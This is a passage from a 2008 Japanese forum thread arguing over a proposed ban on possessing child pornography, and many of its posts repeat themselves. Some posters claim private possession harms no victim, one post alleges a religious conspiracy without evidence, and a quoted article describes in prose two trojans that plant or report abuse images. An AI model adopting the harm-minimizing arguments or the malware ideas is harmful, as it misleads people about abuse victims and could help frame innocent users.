けどこの板ではどうだ？顔や本名晒せって意見は耐えないし、
凶悪犯罪だと実名晒されることも珍しくない
「人権保護のため加害児童の顔や本名を晒した者は罰する、
ただし取り締まりきれないので顔や本名を見た者も同罪にする」
なんて法律におまいら賛成できるか？
>>915
麻薬規制されるときにさんざんパブリックコメント出してもなしのつぶてだったのでもう諦めている
麻薬規制されるときにさんざんパブリックコメント出してもなしのつぶてだったのでもう諦めている
>>906
>他の法律はそうなってないだろ。
>なんでこれだけ拡大解釈してるんだ？
どの法律のことだ？
日本の国内行為について、日本の人権侵害認定ではなく、
他国の人権侵害認定が優先される法律ってあるのか？
>>909
>だから単純所持では侵害されないといっているだろ。
その限定的な例はともかく、
所持による拡散の危険性という人権侵害はあるだろ。
それらの人権侵害も否定しなきゃ、
根拠となる人権侵害を否定したことにならないだろ。
>>910
>だから、なぜあんたは児童の人権の方が優先されるべきだと思うわけ？
>これ何度きいたんだろうねｗ
>>800で既に答えてるね。
>他の法律はそうなってないだろ。
>なんでこれだけ拡大解釈してるんだ？
どの法律のことだ？
日本の国内行為について、日本の人権侵害認定ではなく、
他国の人権侵害認定が優先される法律ってあるのか？
>>909
>だから単純所持では侵害されないといっているだろ。
その限定的な例はともかく、
所持による拡散の危険性という人権侵害はあるだろ。
それらの人権侵害も否定しなきゃ、
根拠となる人権侵害を否定したことにならないだろ。
>>910
>だから、なぜあんたは児童の人権の方が優先されるべきだと思うわけ？
>これ何度きいたんだろうねｗ
>>800で既に答えてるね。
921 ：名無しさん＠九周年：2008/08/20(水) 15:26:01 ID:668AGjRgO
仮に
俺なりお前らなりが既存の児童ポルノを所持していたとする
それを友達に見せたりp2pで放流すると
それ自体が犯罪ではあり児童ポルノを所持したが故の犯行とも言える
しかし
もし所持した児童ポルノを誰にも見せずどこにも出さず
人知れず、箱の中に猫と一緒に保管したとすると、どうか
それはもう存在しないのと同義ではあるまいか
以上の思考実験を「ｼｭﾚﾃﾞｨﾝｶﾞｰの児童ポルノ」として提唱したい
俺なりお前らなりが既存の児童ポルノを所持していたとする
それを友達に見せたりp2pで放流すると
それ自体が犯罪ではあり児童ポルノを所持したが故の犯行とも言える
しかし
もし所持した児童ポルノを誰にも見せずどこにも出さず
人知れず、箱の中に猫と一緒に保管したとすると、どうか
それはもう存在しないのと同義ではあるまいか
以上の思考実験を「ｼｭﾚﾃﾞｨﾝｶﾞｰの児童ポルノ」として提唱したい
>>911
仮にグーグルのストリートビューが人権侵害認定されたとしても、ストリートビュー閲覧者は
被害者への賠償責任は負わないだろ。ストリートビュー自体がまず侵害認定されるかわか
らんが。
>>913
>児童の人権侵害が根拠だと言ってる。
だからその根本にあるのが「傷ついてる」かどうかだろ。
傷ついてるなら人権侵害、傷ついてないなら侵害していない。単純な話だ。
判断できない年齢の児童だから傷ついてないとしても傷ついてることにする……っていうのは
無茶苦茶だ。レイプや暴力行為、ポルノ撮影は明白に児童の権利を侵害している。違法労働
もだ。
しかし単純所持は、あくまでも所持されてることで傷ついてるかどうかで人権侵害が発生しう
るものだ。児童の違法労働で作られた製品を持ってたら、それは人権侵害になるか？
仮にグーグルのストリートビューが人権侵害認定されたとしても、ストリートビュー閲覧者は
被害者への賠償責任は負わないだろ。ストリートビュー自体がまず侵害認定されるかわか
らんが。
>>913
>児童の人権侵害が根拠だと言ってる。
だからその根本にあるのが「傷ついてる」かどうかだろ。
傷ついてるなら人権侵害、傷ついてないなら侵害していない。単純な話だ。
判断できない年齢の児童だから傷ついてないとしても傷ついてることにする……っていうのは
無茶苦茶だ。レイプや暴力行為、ポルノ撮影は明白に児童の権利を侵害している。違法労働
もだ。
しかし単純所持は、あくまでも所持されてることで傷ついてるかどうかで人権侵害が発生しう
るものだ。児童の違法労働で作られた製品を持ってたら、それは人権侵害になるか？
923 ：名無しさん＠九周年：2008/08/20(水) 15:26:25 ID:vIz6bhzY0
>>915
案外関係ある。
火に油を注ぐ規制推進派がいるからこそ、スレは盛り上がり多くの人の目につく。
そして推進派と戦った余熱で、他の板にもスレを立てたりﾌﾞﾛｸﾞに書いたりする。
推進派のおかげで反対運動が高まる。
案外関係ある。
火に油を注ぐ規制推進派がいるからこそ、スレは盛り上がり多くの人の目につく。
そして推進派と戦った余熱で、他の板にもスレを立てたりﾌﾞﾛｸﾞに書いたりする。
推進派のおかげで反対運動が高まる。
924 ：名無しさん＠九周年：2008/08/20(水) 15:26:27 ID:651Ef1zrO
>>913
俺はそこまでご立派な理由で政治家がだしたのではないと思うが……
ただまあ、上がどう考えてようが児童保護の為には良い旗印になるな。
海外へのメンツも立つし良い事づくめだ。
お上がせっかくよい機会をくれたのだから積極運営しないとな
俺はそこまでご立派な理由で政治家がだしたのではないと思うが……
ただまあ、上がどう考えてようが児童保護の為には良い旗印になるな。
海外へのメンツも立つし良い事づくめだ。
お上がせっかくよい機会をくれたのだから積極運営しないとな
麻薬みたいなもんで規制すればするほど高値で売買されるようになって、犯罪がより組織的になってくるわけだな。
926 ：名無しさん＠九周年：2008/08/20(水) 15:27:24 ID:bJIgfdoU0
見てはいけないものが視界に入ったら逮捕
いけないものが視界に「入り込んできても」逮捕
つまり目をつぶっておくしかない。ネットと目は同じだな
いけないものが視界に「入り込んできても」逮捕
つまり目をつぶっておくしかない。ネットと目は同じだな
深夜の住宅街に“ギッ、ギギギッ” 住民１１０番、さい銭泥棒御用
http://www.chunichi.co.jp/article/nagano/20080820/CK2008082002000011.html
>会社員 大矢智浩容疑者（２２）と、伊那市の高校１年生の女子（１５）。
児ポ法で再逮捕だな。
http://www.chunichi.co.jp/article/nagano/20080820/CK2008082002000011.html
>会社員 大矢智浩容疑者（２２）と、伊那市の高校１年生の女子（１５）。
児ポ法で再逮捕だな。
928 ：名無しさん＠九周年：2008/08/20(水) 15:27:30 ID:goo4DzbW0
>>914
＞子どもの頃知らないうちに撮られたけど、それが今でも人に見られるのが苦痛だ
だから、その苦痛と、単純所持に因果関係がない、といっているの。
例えば、その写真を知らない所で没収しても、その分本人の苦痛が軽減されるわけではない。
更に言えば、本当は持っているのに、廃棄したと虚偽の事実を伝えれば
苦痛が軽減する可能性もある。要は、所持そのものと苦痛は、何の関連性もないんだよ。
＞子どもの頃知らないうちに撮られたけど、それが今でも人に見られるのが苦痛だ
だから、その苦痛と、単純所持に因果関係がない、といっているの。
例えば、その写真を知らない所で没収しても、その分本人の苦痛が軽減されるわけではない。
更に言えば、本当は持っているのに、廃棄したと虚偽の事実を伝えれば
苦痛が軽減する可能性もある。要は、所持そのものと苦痛は、何の関連性もないんだよ。
929 ：名無しさん＠九周年：2008/08/20(水) 15:27:33 ID:36EDbdLv0
規制派なんて結論ありき。
話したところで無駄。
なんせ、理性で話してるんじゃない、感情論だから。
だから、こういうときは数なり司法なりで別の戦い方をしなきゃダメだ。
所詮、ネットの意見なんて存在しないも同じ。
ここに「政府のお偉いさん」でもいればいいのかもしれんがな……。
>>915
いや、それはわかってる。
だけど、それ だ け じゃ何も変わらんといっているんだぜ？
話したところで無駄。
なんせ、理性で話してるんじゃない、感情論だから。
だから、こういうときは数なり司法なりで別の戦い方をしなきゃダメだ。
所詮、ネットの意見なんて存在しないも同じ。
ここに「政府のお偉いさん」でもいればいいのかもしれんがな……。
>>915
いや、それはわかってる。
だけど、それ だ け じゃ何も変わらんといっているんだぜ？
930 ：名無しさん＠九周年：2008/08/20(水) 15:27:57 ID:WxdayWW70
定義ガチガチ、犯罪者だけ絞った法律にするなら賛成だけど、与党案じゃ
ＰＣ有る家庭全部に容疑掛けて家宅捜索出来るからな。こんな滅茶苦茶な
法律作るなら法治国家辞めた方いいよ。法律が白紙委任に近いんだから運
用次第で何でも出来るんだし。
ＰＣ有る家庭全部に容疑掛けて家宅捜索出来るからな。こんな滅茶苦茶な
法律作るなら法治国家辞めた方いいよ。法律が白紙委任に近いんだから運
用次第で何でも出来るんだし。
賛成派が、こんな場末ですら「 恣 意 的 」な真似をしているので
本格運用されたらどんなに恐ろしいことが起こるかよくわかります
一度通用したら、あとは魔女裁判の範囲と権限を広げていくだけか
本格運用されたらどんなに恐ろしいことが起こるかよくわかります
一度通用したら、あとは魔女裁判の範囲と権限を広げていくだけか
932 ：名無しさん＠九周年：2008/08/20(水) 15:28:52 ID:akKKNkN+0
>>921
じゃ、俺その箱の中で生活するよ
じゃ、俺その箱の中で生活するよ
>>914
児童ポルノじゃなくても同じだよね
盗撮とかグーグルアースとか、TVの撮影に写りこむのだって本人が不快なら同じ
それらの是非はともかく、情報の単純所持禁止までやるか？
性的なものに限らず児童虐待の取り締まりそのもには喜んで協力するよ
児童ポルノじゃなくても同じだよね
盗撮とかグーグルアースとか、TVの撮影に写りこむのだって本人が不快なら同じ
それらの是非はともかく、情報の単純所持禁止までやるか？
性的なものに限らず児童虐待の取り締まりそのもには喜んで協力するよ
935 ：名無しさん＠九周年：2008/08/20(水) 15:29:39 ID:md7CttpT0
>>894
今の日本がまともな状態だと思う？ マスコミは、創価の犯罪なんて
いっさい報道しない。 私は創価に被害を受けているので、いかに役所
警察、自衛隊、マスコミが侵食されているか思い知らされた。
日本は、ファシズムに向かっているよ。
今の日本がまともな状態だと思う？ マスコミは、創価の犯罪なんて
いっさい報道しない。 私は創価に被害を受けているので、いかに役所
警察、自衛隊、マスコミが侵食されているか思い知らされた。
日本は、ファシズムに向かっているよ。
936 ：名無しさん＠九周年：2008/08/20(水) 15:29:58 ID:vIz6bhzY0
反対派の奴、「所持が人権侵害に当たるか」などとつまらない議論には参加するな。
それを議題にするのは、まんまと規制推進派のわなに嵌ることだぞ。
「強姦された児童ポルノを規制するために所持規制する」と言えば、間違いなく世論は反対しないぞ。
「罪もない被害者を生むから児童ポルノ所持規制には反対」これ以外には世論の同意を得られる意見はない。
938 ：名無しさん＠九周年：2008/08/20(水) 15:31:07 ID:36EDbdLv0
間違えた>>929は>>924向けへのレス
ま、一番恐ろしいのは規制派が「ロリコンだから反対してる」と思っていること。
おかしいよね……一番、被害を被るのは全く興味が無い人なのに。
無実の罪、しかも物証があるので厳密には冤罪ではない罪、で逮捕されたいのかね？
ちなみに、アメリカの例。これが未来の日本。こんな国にしたいか？
ちなみにソースじゃ2年だけど、正確には20年だそうな。
http://blog.livedoor.jp/dqnplus/archives/525797.html
ま、一番恐ろしいのは規制派が「ロリコンだから反対してる」と思っていること。
おかしいよね……一番、被害を被るのは全く興味が無い人なのに。
無実の罪、しかも物証があるので厳密には冤罪ではない罪、で逮捕されたいのかね？
ちなみに、アメリカの例。これが未来の日本。こんな国にしたいか？
ちなみにソースじゃ2年だけど、正確には20年だそうな。
http://blog.livedoor.jp/dqnplus/archives/525797.html
939 ：名無しさん＠九周年：2008/08/20(水) 15:31:08 ID:y/cqwxW30
警視庁蔵前署渡辺和三警部補(元)の同類に暗躍の場を与えるようなものだろな
駐車違反取締りや刑務所の民間委託で減った領域への警察官僚への補償措置み
たいにも思える。
駐車違反取締りや刑務所の民間委託で減った領域への警察官僚への補償措置み
たいにも思える。
940 ：名無しさん＠九周年：2008/08/20(水) 15:31:43 ID:aycgalrP0
お前らなんでそんなに必死なのだ？ｗ
941 ：名無しさん＠九周年：2008/08/20(水) 15:31:51 ID:akKKNkN+0
>>934
規制派は情報の単純所持が児童虐待に当たるといってるんだよｗ
規制派は情報の単純所持が児童虐待に当たるといってるんだよｗ
>>914
親告罪にすればいい話だろ。
>>920
どの法律なのか聞きたいのはこっちだ。
所持自体は国内行為だが、人権侵害は違う。海外在住者が被害者で、国際的に適用される
日本の法律って何だ？
>>924
メンツって……。日本で規制があるかどうか、どんな規制かどうかなんて話す機会はないし
海外では知られてないぞ。
そもそもアメリカやカナダみたいな児童虐待大国に言われたくないな。アメリカはまず児童の
権利条約に署名しろ。
親告罪にすればいい話だろ。
>>920
どの法律なのか聞きたいのはこっちだ。
所持自体は国内行為だが、人権侵害は違う。海外在住者が被害者で、国際的に適用される
日本の法律って何だ？
>>924
メンツって……。日本で規制があるかどうか、どんな規制かどうかなんて話す機会はないし
海外では知られてないぞ。
そもそもアメリカやカナダみたいな児童虐待大国に言われたくないな。アメリカはまず児童の
権利条約に署名しろ。
943 ：名無しさん＠九周年：2008/08/20(水) 15:32:19 ID:pkgC6fCO0
>>923
反対運動といえば、肝心の規制される業界の反対運動とか全然耳に聞こえてきませんけど、
あれはいったどうなってるんですかね？
ポルノ業界は、立場上表立って反対は出来ないので仕方がないですけど、二次規制関しては、
出版業界アニメ・ゲーム業界とも無縁じゃないはずじゃないですか？
クリエーターさんや声優さんもブログ持ってて、オールスルー状態って…
もっと一丸となって反対運動とか出来ないもんでしょうかね？
反対運動といえば、肝心の規制される業界の反対運動とか全然耳に聞こえてきませんけど、
あれはいったどうなってるんですかね？
ポルノ業界は、立場上表立って反対は出来ないので仕方がないですけど、二次規制関しては、
出版業界アニメ・ゲーム業界とも無縁じゃないはずじゃないですか？
クリエーターさんや声優さんもブログ持ってて、オールスルー状態って…
もっと一丸となって反対運動とか出来ないもんでしょうかね？
945 ：名無しさん＠九周年：2008/08/20(水) 15:33:02 ID:vIz6bhzY0
>>940
単純所持規制は様々な罪もない被害者を生む。↓はその一部の例。
児童への人権侵害が行われている点。
単なるグラビアで逮捕された業者もおり、また逮捕を恐れて取り扱いを辞めた業者もいる。
だから、表現の自由を求めて反対している児童(グラドル)もいる。児童への人権侵害は酷だ。
2点目。
「児童ポルノ所持で逮捕される人達の例」
・発売後、モデルが18歳未満と判明した市販AVも多数。
・思春の森のような児童ポルノ映画も、昔は普通に市販されていた。（昔は邦画でも高校生が性行為を演じた作品は多々）
・18歳未満ヌード写真集のような児童ポルノ本は、昔は普通に近所の書店で売られベストセラーともなっていた。
これら市販品を購入した児童ポルノ所持者は数百万人以上なのは疑いようもなく、ロリコン犯罪者として逮捕される。
捨てるよう周知に一生懸命努めても、到底、周知は不可能。(地デジ問題が好例)
また、法文上は子供の時の自身の入浴写真所持ですら逮捕要件は満たされる。
国会議員は無責任に警察を全面的に信用して法律を丸投げすることは許されないし、
法律が施行される結果にも責任を持ち、制定されなければならない。
議員は”政治が問題を作り出す”を一体いつまで繰り返すつもり？
3点目。画像類から女子高生と成人女性(特に20代)との判別が不可能な点。
一般に女性は高校入学前に成長が止まるため、
女子高生と成人女性を身体的特徴から判別することは、専門家でも原則不可能。
成人女性と思い保存してた画像類が女子高生という場合は一般に起こりうるし、実際に度々起こらないわけがない。
類似法案である児童買春防止法では、児童が「18歳以上」と偽り騙された買春者までロリコンの汚名を着せられ逮捕されてる。
世界各国とは違い、日本の警察では高校生の児童ポルノを中心に取り締まっている。
成人女性と思って保存してた画像類が女子高生だった場合、
家宅捜索で地域社会からはロリコン犯罪者扱いされ、家を売却して逃げたり失職し家庭崩壊したり、
これらが多々発生しないわけがない。
彼らには過失もない。多数の子供達も大人も犠牲者になる為、あまりにも可哀想。
単純所持規制は様々な罪もない被害者を生む。↓はその一部の例。
児童への人権侵害が行われている点。
単なるグラビアで逮捕された業者もおり、また逮捕を恐れて取り扱いを辞めた業者もいる。
だから、表現の自由を求めて反対している児童(グラドル)もいる。児童への人権侵害は酷だ。
2点目。
「児童ポルノ所持で逮捕される人達の例」
・発売後、モデルが18歳未満と判明した市販AVも多数。
・思春の森のような児童ポルノ映画も、昔は普通に市販されていた。（昔は邦画でも高校生が性行為を演じた作品は多々）
・18歳未満ヌード写真集のような児童ポルノ本は、昔は普通に近所の書店で売られベストセラーともなっていた。
これら市販品を購入した児童ポルノ所持者は数百万人以上なのは疑いようもなく、ロリコン犯罪者として逮捕される。
捨てるよう周知に一生懸命努めても、到底、周知は不可能。(地デジ問題が好例)
また、法文上は子供の時の自身の入浴写真所持ですら逮捕要件は満たされる。
国会議員は無責任に警察を全面的に信用して法律を丸投げすることは許されないし、
法律が施行される結果にも責任を持ち、制定されなければならない。
議員は”政治が問題を作り出す”を一体いつまで繰り返すつもり？
3点目。画像類から女子高生と成人女性(特に20代)との判別が不可能な点。
一般に女性は高校入学前に成長が止まるため、
女子高生と成人女性を身体的特徴から判別することは、専門家でも原則不可能。
成人女性と思い保存してた画像類が女子高生という場合は一般に起こりうるし、実際に度々起こらないわけがない。
類似法案である児童買春防止法では、児童が「18歳以上」と偽り騙された買春者までロリコンの汚名を着せられ逮捕されてる。
世界各国とは違い、日本の警察では高校生の児童ポルノを中心に取り締まっている。
成人女性と思って保存してた画像類が女子高生だった場合、
家宅捜索で地域社会からはロリコン犯罪者扱いされ、家を売却して逃げたり失職し家庭崩壊したり、
これらが多々発生しないわけがない。
彼らには過失もない。多数の子供達も大人も犠牲者になる為、あまりにも可哀想。
946 ：名無しさん＠九周年：2008/08/20(水) 15:34:30 ID:CbP0Wb4w0
キモヲタはまだ「ここ」で頑張ってるのか…
実名出してデモスト署名活動するなど、
公に反対できないのなら反対する数に入って無いと言うのに…
実名出してデモスト署名活動するなど、
公に反対できないのなら反対する数に入って無いと言うのに…
のぞきも相手にばれなきゃ何の苦痛も与えないよね
949 ：名無しさん＠九周年：2008/08/20(水) 15:35:06 ID:goo4DzbW0
950 ：名無しさん＠九周年：2008/08/20(水) 15:35:32 ID:Qy2YzhxY0
児童ポルノ画像を勝手に保存するウイルス「MELLPON」と児童ポルノ単純所持を通報するウイルス「Noped」
http://gigazine.net/index.php?/news/comments/20080523_mellpon_noped/
児童ポルノの単純所持禁止について、今月22日に自民党と公明党は「違反した場合は懲役または罰金の
処罰規定あり」という方向で法案化作業を急ぐことにしており、対して民主党は「みだりに収集、または有償で
取得した場合」に限定するそうですが、既に児童ポルノ画像を勝手に保存するウイルスや、児童ポルノ単純
所持を検知して関連機関に通報するウイルスが実在しています。
このウイルスの活動の詳細などは以下から。
TROJ_MELLPON.A - 詳 細
このウイルスはいわゆるトロイの木馬型で、2005年に「山田ウイルス」と最初に呼ばれていたもののオリジナル。
このウイルスを改良したウイルスが山のように発生していますが、オリジナルである「TROJ_MELLPON.A」は
感染すると以下のような挙動を示します。
実行されると、不正プログラムは、自身と同じ名称のフォルダを作成します。
このフォルダには、違法なポルノ画像が含まれており、サイズは約4.46MBです。
この「違法なポルノ画像」というのがなんと児童ポルノ画像であると以下の記事で報道されています。
２ちゃんねるに書き込む“山田ウイルス”にトレンドマイクロが対応
MELLPON.Aに感染すると「mellpon」というフォルダがPC内に作成される。
mellponフォルダには約4.46MBの児童ポルノ画像が保存されているという。
当然ながらこの児童ポルノ画像の種類はウイルス作者がちょっと工夫すればいろいろなものに変更可能で
あり、単純所持が違法化された場合にはおそらく画像の保有枚数などで「みだりに性的な興味を持って」
保存していたかどうかが問われるはずなので、かなり微妙なラインになるかもしれません。
ちなみに海外では「保存していたという形跡が残っていた」だけで逮捕されて裁判が起こされて有罪になって
いるため、「ウイルスに感染しただけなので単純所持にはならない」という主張もどこまで通用するかわかり
ません。
http://gigazine.net/index.php?/news/comments/20080523_mellpon_noped/
児童ポルノの単純所持禁止について、今月22日に自民党と公明党は「違反した場合は懲役または罰金の
処罰規定あり」という方向で法案化作業を急ぐことにしており、対して民主党は「みだりに収集、または有償で
取得した場合」に限定するそうですが、既に児童ポルノ画像を勝手に保存するウイルスや、児童ポルノ単純
所持を検知して関連機関に通報するウイルスが実在しています。
このウイルスの活動の詳細などは以下から。
TROJ_MELLPON.A - 詳 細
このウイルスはいわゆるトロイの木馬型で、2005年に「山田ウイルス」と最初に呼ばれていたもののオリジナル。
このウイルスを改良したウイルスが山のように発生していますが、オリジナルである「TROJ_MELLPON.A」は
感染すると以下のような挙動を示します。
実行されると、不正プログラムは、自身と同じ名称のフォルダを作成します。
このフォルダには、違法なポルノ画像が含まれており、サイズは約4.46MBです。
この「違法なポルノ画像」というのがなんと児童ポルノ画像であると以下の記事で報道されています。
２ちゃんねるに書き込む“山田ウイルス”にトレンドマイクロが対応
MELLPON.Aに感染すると「mellpon」というフォルダがPC内に作成される。
mellponフォルダには約4.46MBの児童ポルノ画像が保存されているという。
当然ながらこの児童ポルノ画像の種類はウイルス作者がちょっと工夫すればいろいろなものに変更可能で
あり、単純所持が違法化された場合にはおそらく画像の保有枚数などで「みだりに性的な興味を持って」
保存していたかどうかが問われるはずなので、かなり微妙なラインになるかもしれません。
ちなみに海外では「保存していたという形跡が残っていた」だけで逮捕されて裁判が起こされて有罪になって
いるため、「ウイルスに感染しただけなので単純所持にはならない」という主張もどこまで通用するかわかり
ません。
>>946
20歳と17歳のカップルはキモオタなのか？
20歳と17歳のカップルはキモオタなのか？
ケガや死体の画像も単純所持禁止してくれよ
児童売春は違法で傷害・殺人が合法ってのはありえねえ
児童売春は違法で傷害・殺人が合法ってのはありえねえ
>>922
>判断できない年齢の児童だから傷ついてないとしても傷ついてることにする……
>っていうのは無茶苦茶だ。
無茶苦茶だと君が思っていても、
法律で人権侵害が認定されることはあるんだから仕方ないじゃないか。
君の感情まで左右して説得することはできないよ。
>しかし単純所持は、あくまでも所持されてることで傷ついてるかどうかで人権侵害が発生しうるものだ。
>児童の違法労働で作られた製品を持ってたら、それは人権侵害になるか？
この改正法の議論は、
拡散の危険性という人権侵害を重視して、所持を禁止することを法律で認めるべきという議論だよ？
本人の児童ポルノ出演が、本人に一見苦痛がなくても
人権侵害行為と認定されているのは認めるんだよね？
性行為など人権侵害行為の映像を所持され、見られることが
児童の人権を侵害する行為だというのはおかしくないだろ。
また、その映像の流出の危険という人権侵害も所持行為にはあるじゃないか。
違法労働は関係ないじゃないか。
違法労働は所持を禁止するほどの人権侵害が認められないだけ。
>判断できない年齢の児童だから傷ついてないとしても傷ついてることにする……
>っていうのは無茶苦茶だ。
無茶苦茶だと君が思っていても、
法律で人権侵害が認定されることはあるんだから仕方ないじゃないか。
君の感情まで左右して説得することはできないよ。
>しかし単純所持は、あくまでも所持されてることで傷ついてるかどうかで人権侵害が発生しうるものだ。
>児童の違法労働で作られた製品を持ってたら、それは人権侵害になるか？
この改正法の議論は、
拡散の危険性という人権侵害を重視して、所持を禁止することを法律で認めるべきという議論だよ？
本人の児童ポルノ出演が、本人に一見苦痛がなくても
人権侵害行為と認定されているのは認めるんだよね？
性行為など人権侵害行為の映像を所持され、見られることが
児童の人権を侵害する行為だというのはおかしくないだろ。
また、その映像の流出の危険という人権侵害も所持行為にはあるじゃないか。
違法労働は関係ないじゃないか。
違法労働は所持を禁止するほどの人権侵害が認められないだけ。
954 ：名無しさん＠九周年：2008/08/20(水) 15:37:42 ID:Qy2YzhxY0
>>950続き
児童ポルノを見つけて通報するワーム『ノープト』 | WIRED VISION
http://gigazine.net/index.php?/news/comments/20080523_mellpon_noped/
警告メールには、感染したハードディスクをワームが探索して発見した児童ポルノの疑いのあるファイルの
うち、どれか1個のコピーが添付されている。また、児童ポルノ所有者の電子メールアドレスも通報する。
ノートパッドに表示されるテキストファイルには、児童ポルノの法的な定義に関する情報が書いてあり、
17歳以下の子供の性的にあからさまな写真はどんなものでも児童ポルノであると警告されている。
そしてワームに感染したマシンのユーザーに、このような画像の所有や送信を行なうと、どういう刑罰が
待っているかを伝えている。
このウイルスの挙動が正しいと感じてしまうのであればそれはかなり危険です。
というのも、「目的は手段を正当化する」のであれば、それこそ何をやってもいいという話になり、いくらでも
拡大解釈が可能になるため。
そのためにウイルスを作ってばらまくというのであればもう本末転倒も甚だしいわけです。
しかも児童ポルノ画像を検知すると言っても単純にファイル名で調べているだけなので当然誤報もあり得
ます。
もしかすると将来的にはより正確性を期すため、より高度なアルゴリズムで児童ポルノ画像を発見すると
いう亜種が出現する可能性も否定できません……。
児童ポルノ画像の単純所持がこれらの悪質なウイルスの仕業であることを証明できれば無実になるので
しょうが、どうやって証明すればいいのでしょうか……これまで以上にセキュリティに気をつけないと自分
の人生が一瞬のうちにして崩れ去る可能性が大です。
児童ポルノを見つけて通報するワーム『ノープト』 | WIRED VISION
http://gigazine.net/index.php?/news/comments/20080523_mellpon_noped/
警告メールには、感染したハードディスクをワームが探索して発見した児童ポルノの疑いのあるファイルの
うち、どれか1個のコピーが添付されている。また、児童ポルノ所有者の電子メールアドレスも通報する。
ノートパッドに表示されるテキストファイルには、児童ポルノの法的な定義に関する情報が書いてあり、
17歳以下の子供の性的にあからさまな写真はどんなものでも児童ポルノであると警告されている。
そしてワームに感染したマシンのユーザーに、このような画像の所有や送信を行なうと、どういう刑罰が
待っているかを伝えている。
このウイルスの挙動が正しいと感じてしまうのであればそれはかなり危険です。
というのも、「目的は手段を正当化する」のであれば、それこそ何をやってもいいという話になり、いくらでも
拡大解釈が可能になるため。
そのためにウイルスを作ってばらまくというのであればもう本末転倒も甚だしいわけです。
しかも児童ポルノ画像を検知すると言っても単純にファイル名で調べているだけなので当然誤報もあり得
ます。
もしかすると将来的にはより正確性を期すため、より高度なアルゴリズムで児童ポルノ画像を発見すると
いう亜種が出現する可能性も否定できません……。
児童ポルノ画像の単純所持がこれらの悪質なウイルスの仕業であることを証明できれば無実になるので
しょうが、どうやって証明すればいいのでしょうか……これまで以上にセキュリティに気をつけないと自分
の人生が一瞬のうちにして崩れ去る可能性が大です。
955 ：名無しさん＠九周年：2008/08/20(水) 15:38:07 ID:goo4DzbW0
>>952
児ポ単純所持違法化すると、今度は死体や怪我・殺人の写真にも飛び火する。
だがそうなると、じゃあ戦争の報道写真もなども違法なのか
という話になり収拾がつかなくなる。その意味でもやるべきではない。
児ポ単純所持違法化すると、今度は死体や怪我・殺人の写真にも飛び火する。
だがそうなると、じゃあ戦争の報道写真もなども違法なのか
という話になり収拾がつかなくなる。その意味でもやるべきではない。
これさ、郵政のときと同じアプローチで
「児童虐待反対！ イエスかノーか！」
みたいに本質を隠して、うわべの感情論だけで成立に持ち込むつもりかな
だとしたら心底厄介だと思う
「児童虐待反対！ イエスかノーか！」
みたいに本質を隠して、うわべの感情論だけで成立に持ち込むつもりかな
だとしたら心底厄介だと思う
女児が自分で自分の体を記録し残す行為も禁止ってことになるけどそれは人権侵害じゃないのかよ
と変な矛盾が出るから人権侵害だから規制するって理由使うのはやめといたほうがいいぞ
と変な矛盾が出るから人権侵害だから規制するって理由使うのはやめといたほうがいいぞ
児童性犯罪をむちゃくちゃ重い罪にした方が効果があると思う
959 ：名無しさん＠九周年：2008/08/20(水) 15:39:33 ID:vIz6bhzY0
>>949
日弁連などについては、児童ポルノ規制反対派の議員も批判をしている。
少年改正を例に出して言っている。
「世論の同意を得られない法律論を喚いたところで、自公に押し切られるのはオチ。日弁連は過去の失敗から学べ。」と。
日弁連などについては、児童ポルノ規制反対派の議員も批判をしている。
少年改正を例に出して言っている。
「世論の同意を得られない法律論を喚いたところで、自公に押し切られるのはオチ。日弁連は過去の失敗から学べ。」と。
960 ：名無しさん＠九周年：2008/08/20(水) 15:39:41 ID:CbP0Wb4w0
>>950
反対のためのマッチポンプなんじゃないの？w
あり得ない仮定を持出して反対！反対！
秋葉での刀狩りの際に「十徳ナイフ」所持に執拗にこだわってたのと
同じ人種なんだろうな…論調が全く一緒。
ついでに女性専用車で痴漢冤罪問題のみを声高に言い続ける族w
反対のためのマッチポンプなんじゃないの？w
あり得ない仮定を持出して反対！反対！
秋葉での刀狩りの際に「十徳ナイフ」所持に執拗にこだわってたのと
同じ人種なんだろうな…論調が全く一緒。
ついでに女性専用車で痴漢冤罪問題のみを声高に言い続ける族w
961 ：名無しさん＠九周年：2008/08/20(水) 15:39:41 ID:akKKNkN+0
962 ：名無しさん＠九周年：2008/08/20(水) 15:39:50 ID:/wqP4ago0
>>909
> 両者は全く無関係なんだよ。
関係ないとも言えない
性行為を記録した児童ポルノ（援交DVD）等に出演した元児童の証言（ソース：毎日新聞ｗ）
によると、「見知らぬ他者が自分の出演作品を持っている」それ自体が苦痛となる場合が
あるようだ（全ての出演児童がそうとは限らない）
ただし、証言からは「自分の出演作品を持っている」人間の数自体は問題ではなく
「自分の出演作品を持っている」人間の数＝０ とならねば苦痛は少しも減じない
という心理がうかがわれる
また、仮に「自分の出演作品を持っている」人間の数＝０ になったとしても
それが明確に証明されねば苦痛は少しも減じないと考えられる
（「もしまだ誰かが持っていたら…」）
言うまでもなく、
「自分の出演作品を持っている」人間の数＝０ とすることなど現実的には不可能であり
「自分の出演作品を持っている」人間の数＝０ の証明も「悪魔の証明」なので不可能
よって、
「自分の出演作品を持っている」他者の根絶（０にする）を児童救済と同義と考える限り
被害児童の救済は未来永劫不可能であると結論される
> 両者は全く無関係なんだよ。
関係ないとも言えない
性行為を記録した児童ポルノ（援交DVD）等に出演した元児童の証言（ソース：毎日新聞ｗ）
によると、「見知らぬ他者が自分の出演作品を持っている」それ自体が苦痛となる場合が
あるようだ（全ての出演児童がそうとは限らない）
ただし、証言からは「自分の出演作品を持っている」人間の数自体は問題ではなく
「自分の出演作品を持っている」人間の数＝０ とならねば苦痛は少しも減じない
という心理がうかがわれる
また、仮に「自分の出演作品を持っている」人間の数＝０ になったとしても
それが明確に証明されねば苦痛は少しも減じないと考えられる
（「もしまだ誰かが持っていたら…」）
言うまでもなく、
「自分の出演作品を持っている」人間の数＝０ とすることなど現実的には不可能であり
「自分の出演作品を持っている」人間の数＝０ の証明も「悪魔の証明」なので不可能
よって、
「自分の出演作品を持っている」他者の根絶（０にする）を児童救済と同義と考える限り
被害児童の救済は未来永劫不可能であると結論される
>>928
本人は誰かに見られるのではないかという潜在的な苦痛を抱えているんだぞ。
そのような本人が認知していない人権侵害も救済してやる必要はあるだろ。
>>942
>海外在住者が被害者で、国際的に適用される
>日本の法律って何だ？
君は、児童ポルノ製造罪のない国で製造した児童ポルノを日本国内で頒布しても、
人権侵害なしとして児童ポルノ頒布罪は適用されないと考えているのか？
本人は誰かに見られるのではないかという潜在的な苦痛を抱えているんだぞ。
そのような本人が認知していない人権侵害も救済してやる必要はあるだろ。
>>942
>海外在住者が被害者で、国際的に適用される
>日本の法律って何だ？
